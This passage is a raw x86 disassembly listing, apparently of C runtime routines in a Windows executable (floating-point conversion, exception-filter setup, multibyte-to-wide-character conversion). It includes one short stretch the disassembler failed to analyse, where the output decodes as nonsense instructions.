		jz	short loc_41D8C0
		cmp	ecx, ebp
		jnz	short loc_41D8C5
		or	eax, 10000h
		jmp	short loc_41D8C5
; ---------------------------------------------------------------------------


loc_41D8C0:				; CODE XREF: sub_41D841+72j
		or	eax, 20000h


loc_41D8C5:				; CODE XREF: sub_41D841+76j
					; sub_41D841+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41D8D2
		or	eax, 40000h

locret_41D8D2:				; CODE XREF: sub_41D841+8Aj
		retn
sub_41D841	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D8D3	proc near		; CODE XREF: sub_41D7F6+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41D8E3
		push	1
		pop	eax


loc_41D8E3:				; CODE XREF: sub_41D8D3+Bj
		test	bl, 8
		jz	short loc_41D8EA
		or	al, 4


loc_41D8EA:				; CODE XREF: sub_41D8D3+13j
		test	bl, 4
		jz	short loc_41D8F1
		or	al, 8


loc_41D8F1:				; CODE XREF: sub_41D8D3+1Aj
		test	bl, 2
		jz	short loc_41D8F8
		or	al, 10h


loc_41D8F8:				; CODE XREF: sub_41D8D3+21j
		test	bl, 1
		jz	short loc_41D8FF
		or	al, 20h


loc_41D8FF:				; CODE XREF: sub_41D8D3+28j
		test	ebx, 80000h
		jz	short loc_41D909
		or	al, 2


loc_41D909:				; CODE XREF: sub_41D8D3+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41D936
		cmp	ecx, 100h
		jz	short loc_41D933
		cmp	ecx, esi
		jz	short loc_41D92E
		cmp	ecx, edx
		jnz	short loc_41D936
		or	ah, 0Ch
		jmp	short loc_41D936
; ---------------------------------------------------------------------------


loc_41D92E:				; CODE XREF: sub_41D8D3+50j
		or	ah, 8
		jmp	short loc_41D936
; ---------------------------------------------------------------------------


loc_41D933:				; CODE XREF: sub_41D8D3+4Cj
		or	ah, 4


loc_41D936:				; CODE XREF: sub_41D8D3+44j
					; sub_41D8D3+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41D94C
		cmp	ecx, 10000h
		jnz	short loc_41D94E
		or	eax, esi
		jmp	short loc_41D94E
; ---------------------------------------------------------------------------


loc_41D94C:				; CODE XREF: sub_41D8D3+6Bj
		or	eax, edx


loc_41D94E:				; CODE XREF: sub_41D8D3+73j
					; sub_41D8D3+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41D95B
		or	ah, 10h

locret_41D95B:				; CODE XREF: sub_41D8D3+83j
		retn
sub_41D8D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D95C	proc near		; CODE XREF: sub_41D9FB+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41D9A1
		inc	esi
		cmp	esi, 3
		jge	short loc_41D99C
		lea	eax, [eax+esi*4]


loc_41D98E:				; CODE XREF: sub_41D95C+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41D9A1
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41D98E


loc_41D99C:				; CODE XREF: sub_41D95C+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D9A1:				; CODE XREF: sub_41D95C+27j
					; sub_41D95C+35j
		xor	eax, eax
		pop	esi
		retn
sub_41D95C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_41D9FB+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41E972
		add	esp, 0Ch
		dec	esi
		js	short loc_41D9F7
		lea	edi, [ebx+esi*4]


loc_41D9DE:				; CODE XREF: sub_41D9A5+50j
		test	eax, eax
		jz	short loc_41D9F7
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41E972
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41D9DE


loc_41D9F7:				; CODE XREF: sub_41D9A5+34j
					; sub_41D9A5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9FB	proc near		; CODE XREF: sub_41DB56+81p
					; sub_41DB56+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41DA5F
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D95C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA5C
		push	edi
		push	[ebp+arg_0]
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41DA5C:				; CODE XREF: sub_41D9FB+51j
		mov	eax, [ebp+arg_4]


loc_41DA5F:				; CODE XREF: sub_41D9FB+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41DA7F
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41DA7F:				; CODE XREF: sub_41D9FB+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D9FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA87	proc near		; CODE XREF: sub_41DB56+75p
					; sub_41DB56+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41DA95:				; CODE XREF: sub_41DA87+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41DA95
		pop	esi
		retn
sub_41DA87	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAA2	proc near		; CODE XREF: sub_41DB56+5Fp
					; sub_41DB56+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41DAA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAAE	proc near		; CODE XREF: sub_41DB56+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41DAB4:				; CODE XREF: sub_41DAAE+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41DAC6
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41DAB4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41DAC6:				; CODE XREF: sub_41DAAE+9j
		xor	eax, eax
		retn
sub_41DAAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAC9	proc near		; CODE XREF: sub_41DB56+C0p
					; sub_41DB56+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41DAFF:				; CODE XREF: sub_41DAC9+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41DAFF
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41DB31:				; CODE XREF: sub_41DAC9+86j
		cmp	ebx, edi
		jl	short loc_41DB44
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41DB4B
; ---------------------------------------------------------------------------


loc_41DB44:				; CODE XREF: sub_41DAC9+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41DB4B:				; CODE XREF: sub_41DAC9+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41DB31
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DAC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB56	proc near		; CODE XREF: sub_41DCC2+Dp
					; sub_41DCD8+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41DBC3
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41DAAE
		test	eax, eax
		pop	ecx
		jnz	loc_41DC82
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA2
		pop	ecx


loc_41DBBB:				; CODE XREF: sub_41DB56+E4j
		push	2


loc_41DBBD:				; CODE XREF: sub_41DB56+110j
		pop	eax
		jmp	loc_41DC84
; ---------------------------------------------------------------------------


loc_41DBC3:				; CODE XREF: sub_41DB56+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DA87
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D9FB
		add	esp, 10h
		test	eax, eax
		jz	short loc_41DBE4
		inc	ebx


loc_41DBE4:				; CODE XREF: sub_41DB56+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41DBFC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA2
		pop	ecx
		jmp	short loc_41DC38
; ---------------------------------------------------------------------------


loc_41DBFC:				; CODE XREF: sub_41DB56+98j
		cmp	ebx, eax
		jg	short loc_41DC3F
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA87
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41DAC9
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D9FB
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC9
		add	esp, 20h


loc_41DC38:				; CODE XREF: sub_41DB56+A4j
		xor	esi, esi
		jmp	loc_41DBBB
; ---------------------------------------------------------------------------


loc_41DC3F:				; CODE XREF: sub_41DB56+A8j
		cmp	ebx, [edi]
		jl	short loc_41DC6B
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA2
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC9
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41DBBD
; ---------------------------------------------------------------------------


loc_41DC6B:				; CODE XREF: sub_41DB56+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41DAC9
		pop	ecx
		pop	ecx


loc_41DC82:				; CODE XREF: sub_41DB56+55j
		xor	eax, eax


loc_41DC84:				; CODE XREF: sub_41DB56+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41DCB3
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41DCBD
; ---------------------------------------------------------------------------


loc_41DCB3:				; CODE XREF: sub_41DB56+14Ej
		cmp	edi, 20h
		jnz	short loc_41DCBD
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41DCBD:				; CODE XREF: sub_41DB56+15Bj
					; sub_41DB56+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB56	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCC2	proc near		; CODE XREF: sub_41DCEE+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4386D0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB56
		add	esp, 0Ch
		retn
sub_41DCC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCD8	proc near		; CODE XREF: sub_41DD1B+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4386E8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB56
		add	esp, 0Ch
		retn
sub_41DCD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DCEE	proc near		; CODE XREF: sub_419FB8+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB13
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCC2
		add	esp, 24h
		leave
		retn
sub_41DCEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD1B	proc near		; CODE XREF: sub_419FB8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB13
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCD8
		add	esp, 24h
		leave
		retn
sub_41DD1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD48	proc near		; CODE XREF: sub_419FF6+65p
					; sub_41A0FA+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41DD85
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41DD6B:				; CODE XREF: sub_41DD48+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41DD77
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD77:				; CODE XREF: sub_41DD48+27j
		push	30h
		pop	edx


loc_41DD7A:				; CODE XREF: sub_41DD48+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41DD6B
		mov	edx, [ebp+arg_8]


loc_41DD85:				; CODE XREF: sub_41DD48+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41DD9E
		cmp	byte ptr [ecx],	35h
		jl	short loc_41DD9E


loc_41DD91:				; CODE XREF: sub_41DD48+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41DD9C
		mov	byte ptr [eax],	30h
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: sub_41DD48+4Dj
		inc	byte ptr [eax]


loc_41DD9E:				; CODE XREF: sub_41DD48+42j
					; sub_41DD48+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41DDA8
		inc	dword ptr [edx+4]
		jmp	short loc_41DDBA
; ---------------------------------------------------------------------------


loc_41DDA8:				; CODE XREF: sub_41DD48+59j
		push	edi
		call	sub_415CD0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416470
		add	esp, 10h


loc_41DDBA:				; CODE XREF: sub_41DD48+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DD48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDBF	proc near		; CODE XREF: sub_419FF6+3Fp
					; sub_41A0FA+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE23
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_469640
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41EFE4
		mov	ds:dword_469668, eax
		add	esp, 18h
		movsx	eax, ds:byte_469642
		mov	ds:dword_469660, eax
		pop	edi
		movsx	eax, ds:word_469640
		mov	ds:dword_469664, eax
		mov	ds:dword_46966C, offset	dword_469644
		mov	eax, offset dword_469660
		pop	esi
		leave
		retn
sub_41DDBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE23	proc near		; CODE XREF: sub_41DDBF+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41DE71
		cmp	ebx, edi
		jz	short loc_41DE6A
		lea	edi, [ecx+3C00h]
		jmp	short loc_41DE92
; ---------------------------------------------------------------------------


loc_41DE6A:				; CODE XREF: sub_41DE23+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41DE92
; ---------------------------------------------------------------------------


loc_41DE71:				; CODE XREF: sub_41DE23+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DE89
		cmp	edx, ebx
		jnz	short loc_41DE89
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41DED4
; ---------------------------------------------------------------------------


loc_41DE89:				; CODE XREF: sub_41DE23+52j
					; sub_41DE23+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41DE92:				; CODE XREF: sub_41DE23+45j
					; sub_41DE23+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41DEAA:				; CODE XREF: sub_41DE23+A6j
		test	ecx, esi
		jnz	short loc_41DECB
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41DEAA
; ---------------------------------------------------------------------------


loc_41DECB:				; CODE XREF: sub_41DE23+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41DED4:				; CODE XREF: sub_41DE23+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DE23	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_417BCE
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DEE2	proc near		; DATA XREF: sub_41DF28o
					; seg002:004380A0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41DF05
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41DF05
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41DF05
		jmp	sub_41AB7C
; ---------------------------------------------------------------------------


loc_41DF05:				; CODE XREF: sub_41DEE2+Dj
					; sub_41DEE2+13j ...
		mov	eax, ds:dword_469670
		test	eax, eax
		jz	short loc_41DF22
		push	eax
		call	sub_41DF7E
		test	eax, eax
		pop	ecx
		jz	short loc_41DF22
		push	esi
		call	ds:dword_469670
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DF22:				; CODE XREF: sub_41DEE2+2Aj
					; sub_41DEE2+35j
		xor	eax, eax


loc_41DF24:				; CODE XREF: sub_41DEE2+3Ej
		pop	esi
		retn	4
sub_41DEE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF28	proc near		; DATA XREF: seg002:00423024o
		push	offset sub_41DEE2
		call	ds:dword_42101C	; SetUnhandledExceptionFilter
		mov	ds:dword_469670, eax
		retn
sub_41DF28	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF39	proc near		; DATA XREF: seg002:0042303Co
		push	ds:dword_469670
		call	ds:dword_42101C	; SetUnhandledExceptionFilter
		retn
sub_41DF39	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF46	proc near		; CODE XREF: sub_41A3CE+6Bp
					; sub_41A8DF+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 3D0000h
		fild	word ptr [ebp+330274C0h]


loc_41DF5D:				; CODE XREF: sub_41A8DF+73p
					; sub_41A8DF+BFp ...
		test	byte ptr [ebx+56C35EC6h], 6Ah
sub_41DF46	endp ; sp-analysis failed

		add	[esi-1], ebx
		jz	short near ptr loc_41DF8B+2
		or	al, 0FFh
		jz	short near ptr loc_41DF90+1
		or	al, 0E8h
		lea	esp, [eax]
		sti
		jmp	esp
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41DF7A
		xor	esi, esi


loc_41DF7A:				; CODE XREF: seg000:0041DF76j
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DF7E	proc near		; CODE XREF: sub_41A8DF+15Bp
					; sub_41DEE2+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 3D0000h


loc_41DF8B:				; CODE XREF: seg000:0041DF67j
		or	eax, 274C085h


loc_41DF90:				; CODE XREF: seg000:0041DF6Bj
		xor	esi, esi
		mov	eax, esi
		pop	esi
		retn
sub_41DF7E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AB7C


loc_41DF96:				; CODE XREF: sub_41AB7C:loc_41ABCDj
		push	0Ah
		call	sub_41CEF9
		push	16h
		call	sub_41F277
		pop	ecx
		pop	ecx
		push	3
		call	sub_417818
; END OF FUNCTION CHUNK	FOR sub_41AB7C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFAD	proc near		; CODE XREF: sub_41AD1D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41DFD0
		cmp	[ebp+arg_8], ebx
		jz	short loc_41DFD0
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DFD6
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41DFD0
		mov	[eax], bx


loc_41DFD0:				; CODE XREF: sub_41DFAD+Cj
					; sub_41DFAD+11j ...
		xor	eax, eax


loc_41DFD2:				; CODE XREF: sub_41DFAD+42j
					; sub_41DFAD+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DFD6:				; CODE XREF: sub_41DFAD+17j
		cmp	ds:dword_469508, ebx
		jnz	short loc_41DFF1
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41DFEC
		movzx	ax, al
		mov	[ecx], ax


loc_41DFEC:				; CODE XREF: sub_41DFAD+36j
					; sub_41DFAD+C0j
		push	1
		pop	eax
		jmp	short loc_41DFD2
; ---------------------------------------------------------------------------


loc_41DFF1:				; CODE XREF: sub_41DFAD+2Fj
		mov	ecx, ds:off_437D50
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E04E
		mov	eax, ds:dword_437F5C
		cmp	eax, 1
		jle	short loc_41E035
		cmp	[ebp+arg_8], eax
		jl	short loc_41E03F
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_469518
		call	ds:dword_421064	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_437F5C
		jnz	short loc_41DFD2


loc_41E035:				; CODE XREF: sub_41DFAD+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E03F
		cmp	[esi+1], bl
		jnz	short loc_41DFD2


loc_41E03F:				; CODE XREF: sub_41DFAD+61j
					; sub_41DFAD+8Bj ...
		mov	ds:dword_469474, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFD2
; ---------------------------------------------------------------------------


loc_41E04E:				; CODE XREF: sub_41DFAD+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_469518
		call	ds:dword_421064	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41DFEC
		jmp	short loc_41E03F
sub_41DFAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E075	proc near		; CODE XREF: sub_41AD1D+76p
					; sub_41AD1D+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_437F5C, 1
		jle	short loc_41E08C
		push	8
		push	[esp+4+arg_0]
		call	sub_418536
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E08C:				; CODE XREF: sub_41E075+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_437D50
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E075	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E0A0	proc near		; CODE XREF: sub_41AD1D+797p
					; sub_41AD1D+7E7p
